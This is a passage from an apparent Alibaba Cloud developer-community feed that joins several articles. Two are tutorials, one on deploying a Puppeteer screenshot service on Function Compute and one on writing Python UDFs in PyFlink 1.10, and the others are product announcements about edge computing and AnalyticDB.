        在城市大脑中,边缘计算也可以发挥重大作用。未来城市中存在大量的摄像头、传感器,如何把这些数据及时分析,对城市治理形成帮助是一个非常大的命题。比如,在市政、交通场景中,把从学校、餐饮、医院的数千万摄像头采集的视频汇聚、传输到城市边缘计算平台,数据在边缘节点进行有效收敛、AI及结构化处理,关键性数据再回传到中心云。这种计算下沉边缘的模式相比直接上公有云可以很好节省回源带宽,相比专有云可以提升交付效率和降低运营成本。

        屏幕快照 2019-12-12 下午1.52.57.png

        综上,边缘计算具有更靠近数据源,传输成本低、低时延、体验更佳、轻资产运营等特点。基于阿里云在边缘计算领域先发优势以及创新性产品技术部署,边缘节点服务(ENS)已实现终端接入延迟低至5毫秒,为用户带来了综合成本30%的减少、运维效率50%的提升。

        ]]>
        有了 serverless,前端也可以快速开发一个 Puppeteer 网页截图服务-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 更多云原生技术资讯可关注阿里巴巴云原生技术圈

        Puppeteer 是什么?

        puppeteer 官网的介绍如下:
        Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.

        通俗描述就是:Puppeteer 可以将 Chrome 或者 Chromium 以无界面的方式运行(当然也可以运行在有界面的服务器上),然后可以通过代码控制浏览器的行为,即使是非界面的模式运行,Chrome 或 Chromium 也可以在内存中正确渲染网页的内容。
        那么 Puppeteer 能做什么呢?

        • 生成网页截图或者 PDF
        • 抓取 SPA(Single-Page Application) 进行服务器渲染(SSR)
        • 高级爬虫,可以爬取大量异步渲染内容的网页
        • 模拟键盘输入、表单自动提交、登录网页等,实现 UI 自动化测试
        • 捕获站点的时间线,以便追踪你的网站,帮助分析网站性能问题

        本文选择截图场景作为演示。

        废话不多说了,我们直接给大家介绍下如何用函数计算产品来快速部署一个 Puppeteer Web 应用。

        如何快速部署一个分布式 Puppeteer Web 应用?

        为了快速部署分布式 Puppeteer Web 应用,本文以函数计算服务为例来做展示。

        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考

        有了函数计算服务,我们这里目标是搭建一个分布式应用,但做的事情其实很简单,那就是写好业务代码,部署到函数计算,仅此而已。

        使用函数计算后,我们的系统架构图如下:

        1.png

        效果演示

        可以直接通过以下链接查看效果:
        https://1911504709953557.cn-hangzhou.fc.aliyuncs.com/2016-08-15/proxy/puppeteer-test/html2png/?url=https://www.aliyun.com/product/fc
        PS:第一次请求可能会有几秒的冷启动时间,通过使用预留模式可以完全去除冷启动,这题超纲,下次再讲。

        搭建步骤步骤:

        整体流程如下图所示:

        2.png

        其中,需要我们操作的只有 Fun Init、Fun Install 以及 Fun Deploy 命令,每个的步骤内容都会由这三个命令自动完成。

        1. 工具安装

        安装 Fun 工具

        建议直接从这里下载二进制可执行程序,解压后即可直接使用。下载地址

        安装 Docker
        可以按照这里介绍的方法进行安装。

        2. 初始化项目:

        通过 Fun 工具,使用下面的命令可以快速初始化一个 Puppeteer Web 应用的脚手架:

        fun init -n puppeteer-test http-trigger-node-puppeteer

        其中 -n puppeteer-test  表示初始化项目的目录名称, http-trigger-node-puppeteer  表示要使用的模板名称,可以省略该名称,省略后,可以从终端提示的列表中自行选择需要的模板。
        执行完毕后,可以看到如下的目录结构:

        .
        ├── index.js
        ├── package.json
        └── template.yml

        相比较于传统的 puppeteer 应用,这里仅仅多了一个 template.yml 文件,用于描述函数计算的资源。
        而 index.js 就是我们的业务代码了,可以按照 Puppeteer 官方帮助文档的要求书写自己的业务代码,这里不再重复阐述,核心代码如下:

        const browser = await puppeteer.launch({
          headless: true,
          args: [
            '--no-sandbox',
            '--disable-setuid-sandbox',
          ]
        });
        const page = await browser.newPage();
        await page.emulateTimezone('Asia/Shanghai');
        await page.goto('https://www.baidu.com', {
          'waitUntil': 'networkidle2'
        });
        await page.screenshot({ path: '/tmp/example', fullPage: true, type: 'png' });
        await browser.close();

        package.json 内容如下:

        {
          ... ...
          "dependencies": {
            "puppeteer": "^2.0.0"
          },
          ... ...
        }

        可以看到,在 package.json 中声明了 puppeteer 的依赖。这个也是我们使用 node 开发时的标准做法,并无特别之处。

        3. 一键安装依赖

        puppeteer 的安装,即使是在传统的 linux 机器上,也不是那么的轻松。因为 puppeteer 本身依赖了非常多的系统库,要安装哪些系统库、如何安装这些系统库成了一个比较头痛的问题。

        好在函数计算命令行工具 Fun 已经集成了 Puppeteer 的解决方案,只要 package.json 中包含了 puppeteer 依赖,然后使用 fun install -d 即可一键安装所有系统依赖。

        fun install -d

        4. 本地运行、调试函数

        Puppeteer 的本地运行、调试方法与这里介绍的完全一致,我们就不再重复介绍。我们这里只演示下运行效果:

        4.gif

        5. 一键部署应用

        基本上所有的 FaaS 平台为了减小应用的冷启动,都会设置代码包的限制,函数计算也不例外。而 puppeteer 自身已经达到了 350M 左右,连同其系统依赖已经达到了 450M。如何将 450M 体积的函数部署到 FaaS 平台是一个比较头痛而且繁琐的问题。

        函数计算的命令行工具 Fun 现在原生支持了这种大依赖部署(3.1.1 版本仅支持 node runtime)。不需要任何额外操作,仅仅执行 fun deploy:

        $ fun deploy

        fun 会自动完成依赖的部署。而当检测到打包的依赖超过了平台的限制时,会进入到配置向导,帮助用户自动化地配置。

        我们这里推荐的路径是当提示是否由 Fun 自动帮助 NAS 管理是,输入 yes,然后提示提示是否使用 NasConfig: Auto 自动处理 NAS 时,也选择是,之后就不需要做其他的事情,等待函数部署成功即可。

        5.png

        如果有其他的需求,比如想使用自己已经存在的 NAS 服务,可以在提示使用 NasConfig: Auto 时,输入 no,这样就会进入到相应的流程。更详细的说明,请参考下面的 FAQ。

        FAQ

        在安装 puppeteer 时,Fun 都做了哪些事情?

        puppeteer 本身是一个 npm 包,它的安装是非常简单的,通过 npm install 即可。这里的问题在于,puppeteer 依赖了 chromium,而 chromium 又依赖一些系统库。所以 npm install 后,还会触发下载 chromium 的操作。这里用户经常遇到的问题,主要是:

        1. 由于 chromium 的体积比较大,所以经常遇到网络问题导致下载失败。
        2. npm 仅仅只下载 chromium,chromium 依赖的系统库并不会自动安装。用户还需要自行查找缺失的依赖进行安装。

        Fun 做的优化主要是:

        1. 通过检测网络环境,对于国内用户,会帮助配置淘宝 NPM 镜像实现加速下载的效果。
        2. 自动为用户安装 chromium 所缺失的依赖库。

        Fun 是如何把大依赖部署到函数计算的?不是有代码包大小的限制吗?

        基本上所有的 FaaS 为了优化函数冷启动,都会加入函数代码包大小的限制。函数计算也不例外。但是,Fun 通过内置 NAS(阿里云文件存储) 解决方案,可以一键帮用户创建、配置 NAS,并上传依赖到 NAS 上。而函数计算在运行时,可以自动从 NAS 读取到函数依赖。

        为了帮助用户自动化地完成这些操作,Fun 内置了一个向导(3.1.1 版本仅支持 node,后续会支持更多,欢迎 github issue 提需求),在检测到代码体积大小超过平台限制时,会提示是否由 Fun 将其改造成 NAS 的方案,整个向导的逻辑如下:

        1. 询问是否使用 Fun 来自动化的配置 NAS 管理依赖?(如果回答是,则进入向导,回答否,则继续发布流程)
        2. 检测用户的 yml 中是否已经配置了 NAS
        3. 如果已经配置,则提示用户选择已经配置的 NAS 存储函数依赖
        4. 如果没有配置,则提示用户是否使用NasConfig: Auto自动创建 NAS 配置
        5. 如果选择了是,则帮助用户自动配置 nas、vpc 资源。
        6. 如果选择了否,则列出用户当前 NAS 控制台上已经有的 NAS 资源,让用户选择
        7. 无论上面使用哪种方式,最终都会在 template.yml 生成 NAS 以及 VPC 相关的配置
        8. 根据语言检测,比如 node runtime,会将 node_modules 以及 .fun/root 目录映射到 nas 目录(通过 .nas.yml 实现)
        9. 自动执行 fun nas sync 帮用户把本地的依赖上传到 NAS 服务
        10. 自动执行 fun deploy,帮用户把代码上传到函数计算
        11. 提示帮助信息,对于 HTTP Trigger 的,提示函数的 Endpoint,直接打开浏览器访问即可看到效果

        是否可以指定 puppeteer 的版本?

        可以的,只需要修改 package.json 中的 puppeteer 的版本,重新安装即可。

        函数计算实例中的时区采用的 UTC,是否有办法改为北京时间?

        某些网页的显示效果是和时区挂钩的,时区不同,可能会导致显示的内容有差异。使用本文介绍的方法,可以非常容易的使用 puppeteer 的最新版本,而在 puppeteer 的最新版本 2.0 提供了一个新的 API page.emulateTimezone(timezoneId) , 可以非常容易的修改时区。

        如果 Puppeteer 后续版本更新后,依赖更多的系统依赖,本文介绍的方法还适用吗?

        Fun 内置了 .so 缺失检测机制,当在本地调试运行时,会智能地根据报错识别出缺失的依赖库,然后精准地给出安装命令,可以做到一键安装。

        如果添加了新的依赖,如何更新?

        如果添加了新的依赖,比如 node_modules 目录添加了新的依赖库,只需要重新执行 fun nas sync 进行同步即可。

        如果修改了代码,只需要使用 fun deploy 重新部署即可。由于大依赖和代码通过 NAS 进行了分离,依赖通常不需要频繁变化,所以调用的频率比较低,而 fun deploy 的由于没有了大依赖

        除了本文介绍的方法还有哪些方法可以一键安装 puppeteer?

        Fun 提供了非常多的依赖安装方式,除了本文介绍的将依赖直接声明在 package.json 中,然后通过 fun install -d 的方式安装外,还有很多其他方法,他们均有各自适用的场景:

        1. 命令式安装。比如 fun install -f functionName -p npm puppeteer。这种安装方式的好处是即使对 fun 不了解的用户也可以傻瓜式的使用。
        2. 声明式安装。这种安装方式的好处是提供了类 Dockerfile 的体验,Dockerfile 的大部分指令在这里都是可以直接使用的。通过这种方式声明的依赖,可以通过直接提交到版本仓库。他人拉取代码后,也可以一键安装所有依赖。
        3. 交互环境安装。这种安装方式的好处是提供了类似传统物理机的安装体验。在交互环境中,大部分 linux 命令都是可以使用的,而且可以不断试错。

        总结

        本文介绍了一种比较简单易行地从零开始搭建分布式 Puppeteer Web 服务的方法。利用该方法,可以做到不需要关心如何安装依赖、也不需要关系如何上传依赖,顺滑地完成部署。

        部署完成后,即可享受函数计算带来的优势,即:

        • 无需采购和管理服务器等基础设施,只需专注业务逻辑的开发,可以大幅缩短项目交付时间和人力成本
        • 提供日志查询、性能监控、报警等功能快速排查故障
        • 免运维,毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力,性能优异
        • 成本极具竞争力

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        权威发布 | 阿里云分析型数据库AnalyticDB 荣膺中国信通院大数据产品评测双料认证-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 大会汇集了国内外知名机构的数据资产管理领军专家,对政务、工业、金融等领域的数据资产管理问题展开深入探讨,并对中国信通院第九批大数据产品能力评测结果进行了公布和证书颁发。

        其中阿里云分析型数据库产品 AnalyticDB 获得了分析型数据库基础能力和性能双料认证。尤其在大规模性能认证方面,本次评测采用了全球最大规模的 TPC-DS 100TB 测试标准,阿里云 AnalyticDB 完成了 640 节点的分布式分析型数据库性能测试,是迄今为止通过信通院评测认证的最大规模分布式分析型数据库集群,综合评测结果同领域领先。
        1576067725915-db0eb348-d8bd-487b-961c-c7e48a220a1a.png
        1576067725814-5fa96c83-9b95-4c51-9501-a5802f67d2e8.jpeg

        随着业务和技术的变化演进,传统数据仓库方案在支撑企业业务上遇到一系列问题。
        1576133794736-d945d01e-1102-4ba2-be8e-7d26c8ad82dc.png

        相比较传统大数据产品 阿里云 AnalyticDB 具有更多优点。

        1,扩展能力强,AnalyticDB 是 MPP架构的分布式集群数据库,摆脱单机处理瓶颈。

        2,使用简单, AnalyticDB 支持SQL 2003,兼容MySQL,Oracle语法和支持PL/SQL存储过程,触发器,支持标准数据库事务。

        3,支持场景丰富,AnalyticDB 通过行存储、列存储、多种分区表和索引等机制,可以支持海量数据的在线交付分析,也支持ETL批处理任务。

        4,实时性更强,相比离线数仓方案,报表数据延时从天级别缩短至秒级,数据实时性高。

        5,高可用,服务秒级恢复,AZ内/跨AZ部署,自动故障检测、摘除和副本重搭。

        6,更安全,具有更完善和细化的权限体系模型,白名单和集群级别RAM控制

        当前AnalyticDB For PostgreSQL正在进行 6.0 新版本的公测,6.0 版本大幅提升并发事务处理能力,更好的满足实时数仓场景,同时通过事务锁等优化,完备支持HTAP业务,在既有JSON类型上,支持JSONB存储格式,实现高性能的JSON数据处理及更丰富的JSON函数等特性。
        1576133854036-b8aaa587-fcd1-4515-b1be-21081ab5d10d.png

        阿里云 AnalyticDB 广泛应用于企业实时数仓构建,如电商&新零售大数据运营支撑平台,用户将平台业务线上、线下各渠道的行为数据清洗沉淀到实时数仓,通过数仓提供在线客户标签和用户群体分析能力,圈选目标客户,进行针对性的广告投放和营销活动。

        1576067725798-a59bc30b-0437-42d1-87f2-8c9f894eb6f9.png

        AnalyticDB 6.0 (事务增强版)火热公测中!限时免费,立即查看]]> 如何在 PyFlink 1.10 中自定义 Python UDF? Fri, 02 May 2025 09:39:04 +0800 作者:孙金城(金竹)

        我们知道 PyFlink 是在 Apache Flink 1.9 版新增的,那么在 Apache Flink 1.10 中 Python UDF 功能支持的速度是否能够满足用户的急切需求呢?

        图片1.gif

        Python UDF 的发展趋势

        直观的判断,PyFlink Python UDF 的功能也可以如上图一样能够迅速从幼苗变成大树,为啥有此判断,请继续往下看…

        Flink on Beam

        我们都知道有 Beam on Flink 的场景,就是 Beam 支持多种 Runner,也就是说 Beam SDK 编写的 Job 可以运行在 Flink 之上。如下图所示:

        2.jpg

        上面这图是 Beam Portability Framework 的架构图,他描述了 Beam 如何支持多语言,如何支持多 Runner,单独说 Apache Flink 的时候我们就可以说是 Beam on Flink,那么怎么解释 Flink on Beam 呢?

        3.jpg

        在 Apache Flink 1.10 中我们所说的 Flink on Beam 更精确的说是 PyFlink on Beam Portability Framework。我们看一下简单的架构图,如下:

        4.jpg

        Beam Portability Framework 是一个成熟的多语言支持框架,框架高度抽象了语言之间的通信协议(gRPC),定义了数据的传输格式(Protobuf),并且根据通用流计算框架所需要的组件,抽象个各种服务,比如 DataService,StateService,MetricsService 等。在这样一个成熟的框架下,PyFlink 可以快速的构建自己的 Python 算子,同时重用 Apache Beam Portability Framework 中现有 SDK harness 组件,可以支持多种 Python 运行模式,如:Process,Docker,etc.,这使得 PyFlink 对 Python UDF 的支持变得非常容易,在 Apache Flink 1.10 中的功能也非常的稳定和完整。那么为啥说是 Apache Flink 和 Apache Beam 共同打造呢,是因为我发现目前 Apache Beam Portability Framework 的框架也存在很多优化的空间,所以我在 Beam 社区进行了优化讨论,并且在 Beam 社区也贡献了 20+ 的优化补丁

        概要了解了 Apache Flink 1.10 中 Python UDF 的架构之后,我们还是切入的代码部分,看看如何开发和使用 Python UDF。

        如何定义 Python UDF

        在 Apache Flink 1.10 中我们有多种方式进行 UDF 的定义,比如:

        • Extend ScalarFunction, e.g.:
        class HashCodeMean(ScalarFunction):
           def eval(self, i, j):
               return (hash(i) + hash(j)) / 2
        • Lambda Functio
        lambda i, j: (hash(i) + hash(j)) / 2
        • Named Function
        def hash_code_mean(i, j):
           return (hash(i) + hash(j)) / 2
        • Callable Function
        class CallableHashCodeMean(object):
           def __call__(self, i, j):
               return (hash(i) + hash(j)) / 2

        我们发现上面定义函数除了第一个扩展 ScalaFunction 的方式是 PyFlink 特有的,其他方式都是 Python 语言本身就支持的,也就是说,在 Apache Flink 1.10 中 PyFlink 允许以任何 Python 语言所支持的方式定义 UDF。

        如何使用 Python UDF

        那么定义完 UDF 我们应该怎样使用呢?Apache Flink 1.10 中提供了 2 种 Decorators,如下:

        • Decorators - udf(), e.g. :
        udf(lambda i, j: (hash(i) + hash(j)) / 2,
              [for input types], [for result types])
        • Decorators - @udf, e.g. :
        @udf(input_types=..., result_type=...) 
             def hash_code_mean(…):
                       return …

        然后在使用之前进行注册,如下:

        st_env.register_function("hash_code", hash_code_mean)

        接下来就可以在 Table API/SQL 中进行使用了,如下:

        my_table.select("hash_code_mean(a, b)").insert_into("Results")

        目前为止,我们已经完成了 Python UDF 的定义,声明和注册了。接下来我们还是看一个完整的示例吧:)

        案例描述

        • 需求

        假设苹果公司要统计该公司产品在双 11 期间各城市的销售数量和销售金额分布情况。

        • 数据格式

        每一笔订单是一个字符串,字段用逗号分隔, 例如:

        ItemName, OrderCount, Price, City
        -------------------------------------------
        iPhone 11, 30, 5499, Beijingn
        iPhone 11 Pro,20,8699,Guangzhoun

        案例分析

        根据案例的需求和数据结构分析,我们需要对原始字符串进行结构化解析,那么需要一个按“,”号分隔的 UDF(split) 和一个能够将各个列信息展平的 DUF(get)。同时我们需要根据城市进行分组统计。

        核心实现

        UDF 定义

        • Split UDF
        @udf(input_types=[DataTypes.STRING()],
                   result_type=DataTypes.ARRAY(DataTypes.STRING()))
          def split(line):
               return line.split(",")
        • Get UDF
        @udf(input_types=[DataTypes.ARRAY(DataTypes.STRING()), DataTypes.INT()], result_type=DataTypes.STRING())
        def get(array, index):
               return array[index]

        注册 UDF

        • 注册 Split UDF
        t_env.register_function("split", split)
        • 注册 Get UDF
        t_env.register_function("get", get)

        核心实现逻辑

        如下代码我们发现核心实现逻辑非常简单,只需要对数据进行解析和对数据进行集合计算:

        t_env.from_table_source(SocketTableSource(port=9999))        .alias("line")        .select("split(line) as str_array")        .select("get(str_array, 3) as city, "                     "get(str_array, 1).cast(LONG) as count, "                     "get(str_array, 2).cast(LONG) as unit_price")        .select("city, count, count * unit_price as total_price")       
                .group_by("city")        .select("city, sum(count) as sales_volume, sum(total_price)   
                 as sales")
               .insert_into("sink")
        t_env.execute("Sales Statistic")

        上面的代码我们假设是一个 Socket 的 Source,Sink 是一个 Chart Sink,那么最终运行效果图,如下:

        5.jpg

        我总是认为在博客中只是文本描述而不能让读者真正的在自己的机器上运行起来的博客,不是好博客,所以接下来我们看看按照我们下面的操作,是否能在你的机器上也运行起来?:)

        环境

        因为目前 PyFlink 还没有部署到 PyPI 上面,在 Apache Flink 1.10 发布之前,我们需要通过构建 Flink 的 master 分支源码来构建运行我们 Python UDF 的 PyFlink 版本。

        源代码编译

        在进行编译代码之前,我们需要你已经安装了 JDK8Maven3x

        • 下载解压
        tar -xvf apache-maven-3.6.1-bin.tar.gz
        mv -rf apache-maven-3.6.1 /usr/local/
        • 修改环境变量(~/.bashrc)
        MAVEN_HOME=/usr/local/apache-maven-3.6.1
        export MAVEN_HOME
        export PATH=${PATH}:${MAVEN_HOME}/bin

        除了 JDK 和 MAVEN 完整的环境依赖性如下:

        • JDK 1.8+ (1.8.0_211)
        • Maven 3.x (3.2.5)
        • Scala 2.11+ (2.12.0)
        • Python 3.6+ (3.7.3)
        • Git 2.20+ (2.20.1)
        • Pip3 19+ (19.1.1)

        我们看到基础环境安装比较简单,我这里就不每一个都贴出来了。如果大家有问题欢迎邮件或者博客留言。

        • 下载 Flink 源代码:
        git clone https://github.com/apache/flink.git
        • 编译
        cd flink
        mvn clean install -DskipTests
        ...
        ...
        [INFO] flink-walkthrough-datastream-scala ................. SUCCESS [  0.192 s]
        [INFO] ------------------------------------------------------------------------
        [INFO] BUILD SUCCESS
        [INFO] ------------------------------------------------------------------------
        [INFO] Total time:  18:34 min
        [INFO] Finished at: 2019-12-04T23:03:25+08:00
        [INFO] ------------------------------------------------------------------------
        • 构建 PyFlink 发布包
        cd flink-python; python3 setup.py sdist bdist_wheel
        ...
        ...
        adding 'apache_flink-1.10.dev0.dist-info/WHEEL'
        adding 'apache_flink-1.10.dev0.dist-info/top_level.txt'
        adding 'apache_flink-1.10.dev0.dist-info/RECORD'
        removing build/bdist.macosx-10.14-x86_64/wheel
        • 安装 PyFlink(PyFlink 1.10 需要 Python3.6+)
        pip3 install dist/*.tar.gz
        ...
        ...
        Successfully installed apache-beam-2.15.0 apache-flink-1.10.dev0 avro-python3-1.9.1 cloudpickle-1.2.2 crcmod-1.7 dill-0.2.9 docopt-0.6.2 fastavro-0.21.24 future-0.18.2 grpcio-1.25.0 hdfs-2.5.8 httplib2-0.12.0 mock-2.0.0 numpy-1.17.4 oauth2client-3.0.0 pbr-5.4.4 protobuf-3.11.1 pyarrow-0.14.1 pyasn1-0.4.8 pyasn1-modules-0.2.7 pydot-1.4.1 pymongo-3.9.0 pyyaml-3.13 rsa-4.0

        也可以查看一下,我们核心需要 apache-beam 和 apache-flink,如下命令:

        jincheng:flink-python jincheng.sunjc$ pip3 list
        Package                       Version  
        ----------------------------- ---------
        alabaster                     0.7.12   
        apache-beam                   2.15.0   
        apache-flink                  1.10.dev0
        atomicwrites                  1.3.0

        如上信息证明你我们所需的 Python 依赖已经没问题了,接下来回过头来在看看如何进行业务需求的开发。

        PyFlinlk 的 Job 结构

        6.jpg

        一个完成的 PyFlink 的 Job 需要有外部数据源的定义,有业务逻辑的定义和最终计算结果输出的定义。也就是 Source connector, Transformations, Sink connector,接下来我们根据这个三个部分进行介绍来完成我们的需求。

        Source Connector

        我们需要实现一个 Socket Connector,首先要实现一个 StreamTableSource, 核心代码是实现 getDataStream,代码如下:

        @Override
          public DataStream<Row> getDataStream(StreamExecutionEnvironment env) {
            return env.socketTextStream(hostname, port, lineDelimiter, MAX_RETRY)
              .flatMap(new Spliter(fieldNames.length, fieldDelimiter, appendProctime))
              .returns(getReturnType());
          }

        上面代码利用了 StreamExecutionEnvironment 中现有 socketTextStream 方法接收数据,然后将业务订单数据传个一个 FlatMapFunction, FlatMapFunction 主要实现将数据类型封装为 Row,详细代码查阅 Spliter

        同时,我们还需要在 Python 封装一个 SocketTableSource,详情查阅 socket_table_source.py

        Sink Connector

        我们预期要得到的一个效果是能够将结果数据进行图形化展示,简单的思路是将数据写到一个本地的文件,然后在写一个 HTML 页面,使其能够自动更新结果文件,并展示结果。所以我们还需要自定义一个 Sink 来完成该功能,我们的需求计算结果是会不断的更新的,也就是涉及到 Retraction(如果大家不理解这个概念,可以查阅我以前的博客),目前在 Flink 里面还没有默认支持 Retract 的 Sink,所以我们需要自定义一个 RetractSink,比如我们实现一下 CsvRetractTableSink。

        CsvRetractTableSink 的核心逻辑是缓冲计算结果,每次更新进行一次全量(这是个纯 demo,不能用于生产环境)文件输出。源代码查阅 CsvRetractTableSink

        同时我们还需要利用 Python 进行封装,详见 chart_table_sink.py。

        在 chart_table_sink.py 我们封装了一个 http server,这样我们可以在浏览器中查阅我们的统计结果。

        业务逻辑

        完成自定义的 Source 和 Sink 之后我们终于可以进行业务逻辑的开发了,其实整个过程自定义 Source 和 Sink 是最麻烦的,核心计算逻辑似乎要简单的多。

        • 设置 Python 版本(很重要)

        如果你本地环境 python 命令版本是 2.x,那么需要对 Python 版本进行设置,如下:

        t_env.get_config().set_python_executable("python3")

        PyFlink 1.10 之后支持 Python 3.6+ 版本。

        • 读取数据源

        PyFlink 读取数据源非常简单,如下:

        ...
        ...
        t_env.from_table_source(SocketTableSource(port=9999)).alias("line")

        上面这一行代码定义了监听端口 9999 的数据源,同时结构化 Table 只有一个名为 line 的列。

        • 解析原始数据

        我们需要对上面列进行分析,为了演示 Python UDF,我们在 SocketTableSource中并没有对数据进行预处理,所以我们利用上面 UDF 定义 一节定义的 UDF,来对原始数据进行预处理。

        ...
        ...
        .select("split(line) as str_array")        
        .select("get(str_array, 3) as city, " "get(str_array, 1).cast(LONG) as count, " "get(str_array, 2).cast(LONG) as unit_price")        
        .select("city, count, count * unit_price as total_price")
        • 统计分析

        核心的统计逻辑是根据 city 进行分组,然后对 销售数量和销售金额进行求和,如下:

        ...
        ...
        .group_by("city")
        .select("city, sum(count) as sales_volume, sum(total_price)   
                 as sales")
        • 计算结果输出

        计算结果写入到我们自定义的 Sink 中,如下:

        ...
        ...
        .insert_into("sink")
        from pyflink.datastream import StreamExecutionEnvironment
        from pyflink.demo import ChartConnector, SocketTableSource
        from pyflink.table import StreamTableEnvironment, EnvironmentSettings, DataTypes
        from pyflink.table.descriptors import Schema
        from pyflink.table.udf import udf
        
        env = StreamExecutionEnvironment.get_execution_environment()
        t_env = StreamTableEnvironment.create(
            env,
            environment_settings=EnvironmentSettings.new_instance().use_blink_planner().build())
        t_env.connect(ChartConnector())
            .with_schema(Schema()
                         .field("city", DataTypes.STRING())
                         .field("sales_volume", DataTypes.BIGINT())
                         .field("sales", DataTypes.BIGINT()))
            .register_table_sink("sink")
        
        
        @udf(input_types=[DataTypes.STRING()],
             result_type=DataTypes.ARRAY(DataTypes.STRING()))
        def split(line):
            return line.split(",")
        
        
        @udf(input_types=[DataTypes.ARRAY(DataTypes.STRING()), DataTypes.INT()],
             result_type=DataTypes.STRING())
        def get(array, index):
            return array[index]
        
        t_env.get_config().set_python_executable("python3")
        
        t_env.register_function("split", split)
        t_env.register_function("get", get)
        t_env.from_table_source(SocketTableSource(port=6666))
            .alias("line")
            .select("split(line) as str_array")
            .select("get(str_array, 3) as city, "
                    "get(str_array, 1).cast(LONG) as count, "
                    "get(str_array, 2).cast(LONG) as unit_price")
            .select("city, count, count * unit_price as total_price")
            .group_by("city")
            .select("city, "
                    "sum(count) as sales_volume, "
                    "sum(total_price) as sales")
            .insert_into("sink")
        
        t_env.execute("Sales Statistic")

        上面代码中大家会发现一个陌生的部分,就是 from pyflink.demo import ChartConnector, SocketTableSource. 其中 pyflink.demo 是哪里来的呢?其实就是包含了上面我们介绍的 自定义 Source/Sink(Java&Python)。下面我们来介绍如何增加这个 pyflink.demo 模块。

        安装 pyflink.demo

        为了大家方便我把自定义 Source/Sink(Java&Python)的源代码放到了这里 ,大家可以进行如下操作:

        • 下载源码
        git clone https://github.com/sunjincheng121/enjoyment.code.git
        • 编译源码
        cd enjoyment.code/PyUDFDemoConnector/; mvn clean install
        • 构建发布包
        python3 setup.py sdist bdist_wheel
        ...
        ...
        adding 'pyflink_demo_connector-0.1.dist-info/WHEEL'
        adding 'pyflink_demo_connector-0.1.dist-info/top_level.txt'
        adding 'pyflink_demo_connector-0.1.dist-info/RECORD'
        removing build/bdist.macosx-10.14-x86_64/wheel
        • 安装 Pyflink.demo
        pip3 install dist/pyflink-demo-connector-0.1.tar.gz
        ...
        ...
        Successfully built pyflink-demo-connector
        Installing collected packages: pyflink-demo-connector
        Successfully installed pyflink-demo-connector-0.1

        出现上面信息证明已经将 PyFlink.demo 模块成功安装。接下来我们可以运行我们的示例了 :)

        运行示例

        示例的代码在上面下载的源代码里面已经包含了,为了简单,我们利用 PyCharm 打开enjoyment.code/myPyFlink。同时在 Terminal 启动一个端口:

        nc -l 6666

        启动 blog_demo,如果一切顺利,启动之后,控制台会输出一个 web 地址,如下所示:

        7.jpg

        我们打开这个页面,开始是一个空白页面,如下:

        8.png

        我们尝试将下面的数据,一条,一条的发送给 Source Connector:

        iPhone 11,30,5499,Beijing
        iPhone 11 Pro,20,8699,Guangzhou
        MacBook Pro,10,9999,Beijing
        AirPods Pro,50,1999,Beijing
        MacBook Pro,10,11499,Shanghai
        iPhone 11,30,5999,Shanghai
        iPhone 11 Pro,20,9999,Shenzhen
        MacBook Pro,10,13899,Hangzhou
        iPhone 11,10,6799,Beijing
        MacBook Pro,10,18999,Beijing
        iPhone 11 Pro,10,11799,Shenzhen
        MacBook Pro,10,22199,Shanghai
        AirPods Pro,40,1999,Shanghai

        当输入第一条订单 iPhone 11,30,5499,Beijing,之后,页面变化如下:

        9.jpg

        随之订单数据的不断输入,统计图不断变化。一个完整的 GIF 演示如下:

        更新.gif

        小结

        本篇从架构到 UDF 接口定义,再到具体的实例,向大家介绍了在 Apache Flink 1.10 发布之后,如何利用 PyFlink 进行业务开发,其中 用户自定义 Source 和 Sink部分比较复杂,这也是目前社区需要进行改进的部分(Java/Scala)。真正的核心逻辑部分其实比较简单,为了大家按照本篇进行实战操作有些成就感,所以我增加了自定义 Source/Sink 和图形化部分。但如果大家想简化实例的实现也可以利用 Kafka 作为 Source 和 Sink,这样就可以省去自定义的部分,做起来也会简单一些。

        查看原文可点击:原文链接

        ]]>
        阿里云荣获最佳智能边缘计算技术创新平台 Fri, 02 May 2025 09:39:04 +0800 12月11日, 2019亚太内容分发大会暨CDN峰会在广州如期召开,大会围绕“边缘计算”为主题,探讨新技术下,全球互联网产业发展趋势。会上,国内第一,全球前三的阿里云凭借在边缘计算领先的技术布局与创新方案,荣获“最佳智能边缘计算技术创新平台”奖项。

        a6de9f2f4263ce322fef4b81d8e97260 (1).jpg

        边缘计算因5G万物智联的快速发展而备受关注。据Gartner预测,2021年将有40%的大型企业在项目中纳入边缘计算原则。阿里云是国内最早布局边缘计算的科技公司,早在2016年就开始研发相关产品和技术。2018年3月,阿里云正式宣布战略投入边缘计算技术领域,将云计算、大数据、人工智能的优势拓展到更靠近端的边缘计算上,打造云、边、端一体化的协同计算体系。目前,阿里云已经完成国内30多个省份300+边缘计算节点的全域覆盖。

        早在2018年4月,阿里云在业界率先推出边缘节点服务(Edge Node Service, ENS),首次将计算推进至用户100公里的边缘。

        2019年1月,边缘节点服务(ENS)正式步入2.0时代,阿里云引入MEC资源,将飞天算力调度、容器、函数、安全、大数据与AI等技术能力进一步融合释放,建立了“融合、开放、联动”的边缘计算平台,将计算能力进一步推进至用户10公里生活圈。

        在2019年7月,阿里云发布国内首个全域边缘节点服务,300+边缘节点算力基本覆盖全国省会城市三大运营商与热门地区的三线城市,自此阿里云边缘计算正式宣告进入“无处不在”的全新篇章。

        通过上千个CDN节点,阿里云建立了标准、安全、多租户的边缘基础设施底座。同时,这也是阿里云第一次把飞天技术轻量化落地到大量的边缘节点上,借助飞天十年技术沉淀,实现性能优秀、稳定可靠的边缘计算能力,有效降低用户计算时延和成本。

